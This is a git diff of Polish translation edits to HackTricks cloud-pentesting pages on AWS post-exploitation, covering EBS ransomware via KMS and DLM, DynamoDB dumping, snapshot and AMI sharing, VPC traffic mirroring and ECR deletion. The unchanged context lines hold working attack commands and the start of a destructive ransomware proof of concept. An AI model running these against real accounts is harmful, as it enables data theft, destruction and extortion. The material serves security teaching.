-Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS i następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę.
+Atak ransomware może być przeprowadzony poprzez szyfrowanie jak największej liczby wolumenów EBS, a następnie usunięcie bieżących instancji EC2, wolumenów EBS i migawków. Aby zautomatyzować tę złośliwą działalność, można wykorzystać Amazon DLM, szyfrując migawki za pomocą klucza KMS z innego konta AWS i przenosząc zaszyfrowane migawki do innego konta. Alternatywnie, mogą przenieść migawki bez szyfrowania do konta, które zarządzają, a następnie zaszyfrować je tam. Chociaż nie jest to proste, aby bezpośrednio zaszyfrować istniejące wolumeny EBS lub migawki, można to zrobić, tworząc nowy wolumen lub migawkę.
 
 Najpierw użyje się polecenia, aby zebrać informacje o wolumenach, takie jak ID instancji, ID wolumenu, status szyfrowania, status załączenia i typ wolumenu.
 
 `aws ec2 describe-volumes`
 
-Następnie zostanie utworzona polityka cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowane zostaną również konkretne tagi do migawek oraz skopiowane tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary.
+Następnie stworzy się politykę cyklu życia. To polecenie wykorzystuje API DLM do skonfigurowania polityki cyklu życia, która automatycznie wykonuje codzienne migawki określonych wolumenów o wyznaczonej porze. Zastosowano również konkretne tagi do migawek i skopiowano tagi z wolumenów do migawek. Plik policyDetails.json zawiera szczegóły polityki cyklu życia, takie jak docelowe tagi, harmonogram, ARN opcjonalnego klucza KMS do szyfrowania oraz docelowe konto do udostępniania migawek, które zostaną zapisane w dziennikach CloudTrail ofiary.
 ```bash
 aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
 ```
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
index a112cb684..0d7cffae0 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### `dynamodb:BatchGetItem`
 
-Atakujący z tymi uprawnieniami będzie mógł **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz to uzyskać, pobierając metadane tabeli (`describe-table`).
+Atakujący z tymi uprawnieniami będzie w stanie **pobierać elementy z tabel za pomocą klucza głównego** (nie możesz po prostu poprosić o wszystkie dane z tabeli). Oznacza to, że musisz znać klucze główne (możesz je uzyskać, pobierając metadane tabeli (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -47,7 +47,7 @@ aws dynamodb batch-get-item \
 
 ### `dynamodb:GetItem`
 
-**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem podania klucza głównego wpisu do pobrania:
+**Podobnie jak poprzednie uprawnienia** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -79,7 +79,7 @@ aws dynamodb transact-get-items \
 
 ### `dynamodb:Query`
 
-**Podobnie jak w przypadku poprzednich uprawnień** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania. Umożliwia to użycie [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym dozwolonym porównaniem z kluczem głównym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby uzyskać całą bazę danych w jednym żądaniu.
+**Podobnie jak w przypadku poprzednich uprawnień** to pozwala potencjalnemu atakującemu na odczyt wartości z tylko 1 tabeli, pod warunkiem posiadania klucza głównego wpisu do pobrania. Umożliwia użycie [podzbioru porównań](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ale jedynym dozwolonym porównaniem z kluczem głównym (który musi się pojawić) jest "EQ", więc nie można użyć porównania, aby uzyskać całą bazę danych w jednym żądaniu.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -124,7 +124,7 @@ Możesz użyć tego uprawnienia, aby **łatwo zrzucić całą tabelę**.
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-To uprawnienie pozwala również na wykonanie `batch-execute-statement` jak:
+To uprawnienie pozwala również na wykonanie `batch-execute-statement`, takie jak:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
@@ -206,7 +206,7 @@ aws dynamodb put-item \
 
 ### `dynamodb:UpdateItem`
 
-To uprawnienie pozwala użytkownikom **modyfikować istniejące atrybuty przedmiotu lub dodawać nowe atrybuty do przedmiotu**. Nie **zastępuje** całego przedmiotu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy przedmiot** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.
+To uprawnienie pozwala użytkownikom na **modyfikację istniejących atrybutów przedmiotu lub dodawanie nowych atrybutów do przedmiotu**. Nie **zastępuje** całego przedmiotu; aktualizuje tylko określone atrybuty. Jeśli klucz główny nie istnieje w tabeli, operacja **utworzy nowy przedmiot** z określonym kluczem głównym i ustawi atrybuty określone w wyrażeniu aktualizacji.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -256,20 +256,20 @@ aws dynamodb delete-table \
 
 ### `dynamodb:DeleteBackup`
 
-Napastnik z tym uprawnieniem może **usunąć kopię zapasową DynamoDB, co może spowodować utratę danych w przypadku scenariusza odzyskiwania po awarii**.
+Atakujący z tym uprawnieniem może **usunąć kopię zapasową DynamoDB, co może spowodować utratę danych w przypadku scenariusza odzyskiwania po awarii**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potencjalny wpływ**: Utrata danych i niemożność ich odzyskania z kopii zapasowej w scenariuszu odzyskiwania po awarii.
+**Potencjalny wpływ**: Utrata danych i niemożność odzyskania ich z kopii zapasowej w scenariuszu odzyskiwania po awarii.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
 > TODO: Przetestować, czy to rzeczywiście działa
 
-Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć przesyłanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych.
+Napastnik z tymi uprawnieniami może **włączyć strumień na tabeli DynamoDB, zaktualizować tabelę, aby rozpocząć strumieniowanie zmian, a następnie uzyskać dostęp do strumienia, aby monitorować zmiany w tabeli w czasie rzeczywistym**. Umożliwia to napastnikowi monitorowanie i eksfiltrację zmian danych, co może prowadzić do wycieku danych.
 
 1. Włącz strumień na tabeli DynamoDB:
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
index ef0b9e8af..81be94ee8 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md
@@ -1,8 +1,8 @@
-# AWS - EC2, EBS, SSM & VPC Post Exploitation
+# AWS - EC2, EBS, SSM i VPC Po Eksploatacji
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## EC2 & VPC
+## EC2 i VPC
 
 Aby uzyskać więcej informacji, sprawdź:
 
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### **Złośliwe lustrzane VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
+### **Złośliwe Lustro VPC -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
 
-Lustrzane odbicie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania intruzów w sieci (IDS) w celu analizy i monitorowania.\
+Lustrowanie ruchu VPC **duplikuje ruch przychodzący i wychodzący dla instancji EC2 w obrębie VPC** bez potrzeby instalowania czegokolwiek na samych instancjach. Ten zduplikowany ruch byłby zazwyczaj wysyłany do czegoś takiego jak system wykrywania intruzów w sieci (IDS) w celu analizy i monitorowania.\
 Napastnik mógłby to wykorzystać do przechwycenia całego ruchu i uzyskania wrażliwych informacji:
 
 Aby uzyskać więcej informacji, sprawdź tę stronę:
@@ -21,7 +21,7 @@ Aby uzyskać więcej informacji, sprawdź tę stronę:
 aws-malicious-vpc-mirror.md
 {{#endref}}
 
-### Kopiowanie działającej instancji
+### Kopiowanie Działającej Instancji
 
 Instancje zazwyczaj zawierają jakiś rodzaj wrażliwych informacji. Istnieją różne sposoby, aby się do nich dostać (sprawdź [sztuczki eskalacji uprawnień EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Jednak innym sposobem na sprawdzenie, co zawierają, jest **utworzenie AMI i uruchomienie nowej instancji (nawet na swoim własnym koncie) z niej**:
 ```shell
@@ -70,7 +70,7 @@ Nawet jeśli zablokujesz EC2, aby żaden ruch nie mógł się wydostać, nadal m
 
 #### Exfiltration via API calls
 
-Napastnik mógłby wywołać punkty końcowe API konta, które kontroluje. Cloudtrail zarejestruje te wywołania, a napastnik będzie mógł zobaczyć wykradzione dane w logach Cloudtrail.
+Atakujący może wywołać punkty końcowe API konta, które kontroluje. Cloudtrail zarejestruje te wywołania, a atakujący będzie mógł zobaczyć wykradzione dane w logach Cloudtrail.
 
 ### Open Security Group
 
@@ -81,7 +81,7 @@ aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --por
 ```
 ### Privesc do ECS
 
-Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchomienia instancji ECS, a następnie kradzież danych instancji ECS.
+Możliwe jest uruchomienie instancji EC2 i zarejestrowanie jej do użycia w celu uruchamiania instancji ECS, a następnie kradzież danych instancji ECS.
 
 Dla [**więcej informacji sprawdź to**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
 
@@ -123,7 +123,7 @@ Zauważ, że połączenia SSL zakończą się niepowodzeniem, chyba że ustawisz
 
 Na koniec, ta technika nie jest specyficzna dla atakowania prywatnych klastrów EKS. Możesz ustawić dowolne domeny i porty, aby przełączyć się na dowolną inną usługę AWS lub niestandardową aplikację.
 
-### Udostępnij AMI
+### Share AMI
 ```bash
 aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
 ```
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 ```
 ### EBS Ransomware PoC
 
-Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach po eksploatacji S3. KMS powinno być nazwane RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest go używać do szyfrowania różnych usług AWS.
+Dowód koncepcji podobny do demonstracji Ransomware przedstawionej w notatkach dotyczących post-exploitation S3. KMS powinno być przemianowane na RMS, czyli Ransomware Management Service, biorąc pod uwagę, jak łatwo jest używać go do szyfrowania różnych usług AWS.
 
-Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby zezwolić na użycie klucza przez dowolny podmiot AWS. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption'
+Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KMS. W tym przykładzie pozwolimy AWS zarządzać danymi klucza, ale w realistycznym scenariuszu złośliwy aktor zachowałby dane klucza poza kontrolą AWS. Zmień politykę klucza, aby zezwolić na użycie klucza przez dowolny AWS account Principal. W tej polityce klucza nazwa konta to 'AttackSim', a reguła polityki zezwalająca na pełny dostęp nazywa się 'Outside Encryption'.
 ```
 {
 "Version": "2012-10-17",
@@ -231,7 +231,7 @@ Najpierw z konta AWS 'atakującego' utwórz klucz zarządzany przez klienta w KM
 ]
 }
 ```
-Polityka klucza wymaga włączenia następujących uprawnień, aby umożliwić jego użycie do szyfrowania woluminu EBS:
+Reguła polityki klucza musi mieć włączone następujące uprawnienia, aby umożliwić użycie go do szyfrowania woluminu EBS:
 
 - `kms:CreateGrant`
 - `kms:Decrypt`
@@ -324,15 +324,15 @@ Następnie wróć do polityki klucza w koncie 'atakującego' i usuń regułę po
 ]
 }
 ```
-Czekaj chwilę, aż nowa polityka klucza zostanie rozpropagowana. Następnie wróć do konta 'ofiary' i spróbuj podłączyć jedną z nowo zaszyfrowanych woluminów EBS. Zauważysz, że możesz podłączyć wolumin.
+Poczekaj chwilę, aż nowa polityka klucza zostanie rozpropagowana. Następnie wróć do konta 'ofiary' i spróbuj podłączyć jedną z nowo zaszyfrowanych woluminów EBS. Zauważysz, że możesz podłączyć wolumin.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
-Jednak gdy spróbujesz rzeczywiście uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie ze stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala.
+Jednak gdy spróbujesz faktycznie uruchomić instancję EC2 z zaszyfrowanym woluminem EBS, po prostu się nie powiedzie i przejdzie z stanu 'oczekiwania' z powrotem do stanu 'zatrzymany' na zawsze, ponieważ podłączony wolumin EBS nie może być odszyfrowany za pomocą klucza, ponieważ polityka klucza już na to nie pozwala.
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-To jest skrypt w Pythonie używany do tego celu. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywrócić do ich pierwotnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia.
+To jest skrypt w Pythonie, który jest używany. Przyjmuje dane uwierzytelniające AWS dla konta 'ofiary' oraz publicznie dostępny wartość ARN AWS dla klucza, który ma być użyty do szyfrowania. Skrypt utworzy zaszyfrowane kopie WSZYSTKICH dostępnych woluminów EBS podłączonych do WSZYSTKICH instancji EC2 w docelowym koncie AWS, następnie zatrzyma każdą instancję EC2, odłączy oryginalne woluminy EBS, usunie je, a na koniec usunie wszystkie migawki wykorzystane w trakcie procesu. To pozostawi tylko zaszyfrowane woluminy EBS w docelowym koncie 'ofiary'. UŻYWAJ TEGO SKRYPTU TYLKO W ŚRODOWISKU TESTOWYM, JEST DESTRUKCYJNY I USUNIE WSZYSTKIE ORYGINALNE WOLUMINY EBS. Możesz je odzyskać, używając wykorzystanego klucza KMS i przywrócić do ich oryginalnego stanu za pomocą migawek, ale chcę tylko, abyś był świadomy, że to jest PoC ransomware na końcu dnia.
 ```
 import boto3
 import argparse
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
index b465e2e9b..13a6e2d06 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
@@ -63,7 +63,7 @@ Aby móc wykonać tę akcję, wykonaj następujące polecenia:
 - Utwórz wolumin EBS do podłączenia do instancji EC2.
 - Upewnij się, że wolumin EBS i instancja są w tej samej strefie.
 
-Krok 2: Należy wybrać opcję "dołącz wolumin" klikając prawym przyciskiem myszy na utworzonym woluminie.
+Krok 2: Należy wybrać opcję "dołącz wolumin" klikając prawym przyciskiem myszy na utworzonej woluminie.
 
 Krok 3: Należy wybrać instancję z pola tekstowego instancji.
 
@@ -71,28 +71,28 @@ Aby móc wykonać tę akcję, użyj następującego polecenia:
 
 - Dołącz wolumin EBS.
 
-Krok 4: Zaloguj się do instancji EC2 i wyświetl dostępne dyski używając polecenia `lsblk`.
+Krok 4: Zaloguj się do instancji EC2 i wyświetl dostępne dyski, używając polecenia `lsblk`.
 
-Krok 5: Sprawdź, czy wolumin ma jakieś dane używając polecenia `sudo file -s /dev/xvdf`.
+Krok 5: Sprawdź, czy wolumin ma jakieś dane, używając polecenia `sudo file -s /dev/xvdf`.
 
 Jeśli wynik powyższego polecenia pokazuje "/dev/xvdf: data", oznacza to, że wolumin jest pusty.
 
-Krok 6: Sformatuj wolumin do systemu plików ext4 używając polecenia `sudo mkfs -t ext4 /dev/xvdf`. Alternatywnie, możesz również użyć formatu xfs używając polecenia `sudo mkfs -t xfs /dev/xvdf`. Należy pamiętać, że powinieneś użyć albo ext4, albo xfs.
+Krok 6: Sformatuj wolumin do systemu plików ext4, używając polecenia `sudo mkfs -t ext4 /dev/xvdf`. Alternatywnie, możesz również użyć formatu xfs, używając polecenia `sudo mkfs -t xfs /dev/xvdf`. Należy pamiętać, że powinieneś użyć albo ext4, albo xfs.
 
 Krok 7: Utwórz katalog według własnego wyboru, aby zamontować nowy wolumin ext4. Na przykład, możesz użyć nazwy "newvolume".
 
 Aby móc wykonać tę akcję, użyj polecenia `sudo mkdir /newvolume`.
 
-Krok 8: Zamontuj wolumin w katalogu "newvolume" używając polecenia `sudo mount /dev/xvdf /newvolume/`.
+Krok 8: Zamontuj wolumin w katalogu "newvolume", używając polecenia `sudo mount /dev/xvdf /newvolume/`.
 
 Krok 9: Zmień katalog na katalog "newvolume" i sprawdź przestrzeń dyskową, aby zweryfikować montaż woluminu.
 
 Aby móc wykonać tę akcję, użyj następujących poleceń:
 
 - Zmień katalog na `/newvolume`.
-- Sprawdź przestrzeń dyskową używając polecenia `df -h .`. Wynik tego polecenia powinien pokazać wolną przestrzeń w katalogu "newvolume".
+- Sprawdź przestrzeń dyskową, używając polecenia `df -h .`. Wynik tego polecenia powinien pokazać wolną przestrzeń w katalogu "newvolume".
 
-Możesz to zrobić z Pacu używając modułu `ebs__explore_snapshots`.
+Możesz to zrobić z Pacu, używając modułu `ebs__explore_snapshots`.
 
 ## Sprawdzanie migawki w AWS (używając cli)
 ```bash
@@ -122,9 +122,9 @@ ls /mnt
 ```
 ## Shadow Copy
 
-Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hashe wszystkich użytkowników domeny, tworząc **snapshot Kontrolera Domeny**, montując go do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz rejestr SYSTEM** do użycia z projektem secretsdump Impacket.
+Każdy użytkownik AWS posiadający uprawnienie **`EC2:CreateSnapshot`** może ukraść hashe wszystkich użytkowników domeny, tworząc **snapshot Kontrolera Domeny**, montując go do instancji, którą kontroluje, i **eksportując plik NTDS.dit oraz SYSTEM** rejestru do użycia z projektem secretsdump Impacket.
 
-Możesz użyć tego narzędzia do zautomatyzowania ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu.
+Możesz użyć tego narzędzia do automatyzacji ataku: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) lub możesz użyć jednej z wcześniejszych technik po utworzeniu snapshotu.
 
 ## References
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
index a3616f8a9..00b2e3e01 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md
@@ -1,12 +1,12 @@
-# AWS - Malicious VPC Mirror
+# AWS - Złośliwe Lustro VPC
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 **Sprawdź** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **po więcej szczegółów na temat ataku!**
 
-Pasywna inspekcja sieci w środowisku chmurowym była **wyzwaniem**, wymagającym dużych zmian konfiguracyjnych w celu monitorowania ruchu sieciowego. Jednak nowa funkcja o nazwie “**VPC Traffic Mirroring**” została wprowadzona przez AWS, aby uprościć ten proces. Dzięki VPC Traffic Mirroring ruch sieciowy w VPC może być **duplikowany** bez instalowania jakiegokolwiek oprogramowania na samych instancjach. Ten zduplikowany ruch może być wysyłany do systemu wykrywania intruzów (IDS) w celu **analizy**.
+Pasywna inspekcja sieci w środowisku chmurowym była **wyzwaniem**, wymagającym dużych zmian konfiguracyjnych w celu monitorowania ruchu sieciowego. Jednak nowa funkcja zwana “**VPC Traffic Mirroring**” została wprowadzona przez AWS, aby uprościć ten proces. Dzięki VPC Traffic Mirroring ruch sieciowy w VPC może być **duplikowany** bez instalowania jakiegokolwiek oprogramowania na samych instancjach. Ten zduplikowany ruch może być wysyłany do systemu wykrywania intruzów w sieci (IDS) w celu **analizy**.
 
-Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwany tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty.
+Aby zaspokoić potrzebę **automatyzacji wdrożenia** niezbędnej infrastruktury do mirroringu i eksfiltracji ruchu VPC, opracowaliśmy skrypt proof-of-concept o nazwie “**malmirror**”. Skrypt ten może być używany z **skompromentowanymi poświadczeniami AWS** do skonfigurowania mirroringu dla wszystkich obsługiwanych instancji EC2 w docelowym VPC. Ważne jest, aby zauważyć, że VPC Traffic Mirroring jest obsługiwane tylko przez instancje EC2 zasilane systemem AWS Nitro, a cel lustra VPC musi znajdować się w tym samym VPC co lustrowane hosty.
 
 **Wpływ** złośliwego mirroringu ruchu VPC może być znaczący, ponieważ pozwala atakującym na dostęp do **wrażliwych informacji** przesyłanych w VPC. **Prawdopodobieństwo** takiego złośliwego mirroringu jest wysokie, biorąc pod uwagę obecność **ruchu w postaci czystego tekstu** przepływającego przez VPC. Wiele firm używa protokołów w postaci czystego tekstu w swoich sieciach wewnętrznych z powodów **wydajnościowych**, zakładając, że tradycyjne ataki typu man-in-the-middle nie są możliwe.
 
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index c7654e006..f01a1489a 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -1,4 +1,4 @@
-# AWS - ECR Post Exploitation
+# AWS - ECR Po Eksploatacji
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
 
 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
 
-Atakujący z dowolnym z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia, aby usunąć wszystkie obrazy w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowoduje to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
+Atakujący z dowolnymi z tych uprawnień może **utworzyć lub zmodyfikować politykę cyklu życia, aby usunąć wszystkie obrazy w repozytorium** i następnie **usunąć całe repozytorium ECR**. Spowoduje to utratę wszystkich obrazów kontenerów przechowywanych w repozytorium.
 ```bash
 bashCopy code# Create a JSON file with the malicious lifecycle policy
 echo '{
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index d3ccb5b91..2f798d5ba 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -33,7 +33,7 @@ Ponadto, **rola instancji EC2** zazwyczaj będzie miała wystarczające **uprawn
 aws ecs update-container-instances-state \
 --cluster <cluster> --status DRAINING --container-instances <container-instance-id>
 ```
-Ta sama technika może być wykonana przez **wyrejestrowanie instancji EC2 z klastra**. To jest potencjalnie mniej ukryte, ale **wymusi uruchomienie zadań na innych instancjach:**
+Ta sama technika może być zastosowana poprzez **wyrejestrowanie instancji EC2 z klastra**. To jest potencjalnie mniej dyskretne, ale **wymusi uruchomienie zadań na innych instancjach:**
 ```bash
 aws ecs deregister-container-instance \
 --cluster <cluster> --container-instance <container-instance-id> --force
@@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ...
 ```
 ### Kradnij wrażliwe informacje z kontenerów ECR
 
-Instancja EC2 prawdopodobnie będzie miała również uprawnienie `ecr:GetAuthorizationToken`, co pozwoli jej na **pobieranie obrazów** (możesz szukać w nich wrażliwych informacji).
+Instancja EC2 prawdopodobnie będzie miała również uprawnienie `ecr:GetAuthorizationToken`, co pozwala na **pobieranie obrazów** (możesz szukać w nich wrażliwych informacji).
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index b0d9b77ba..26f826294 100644
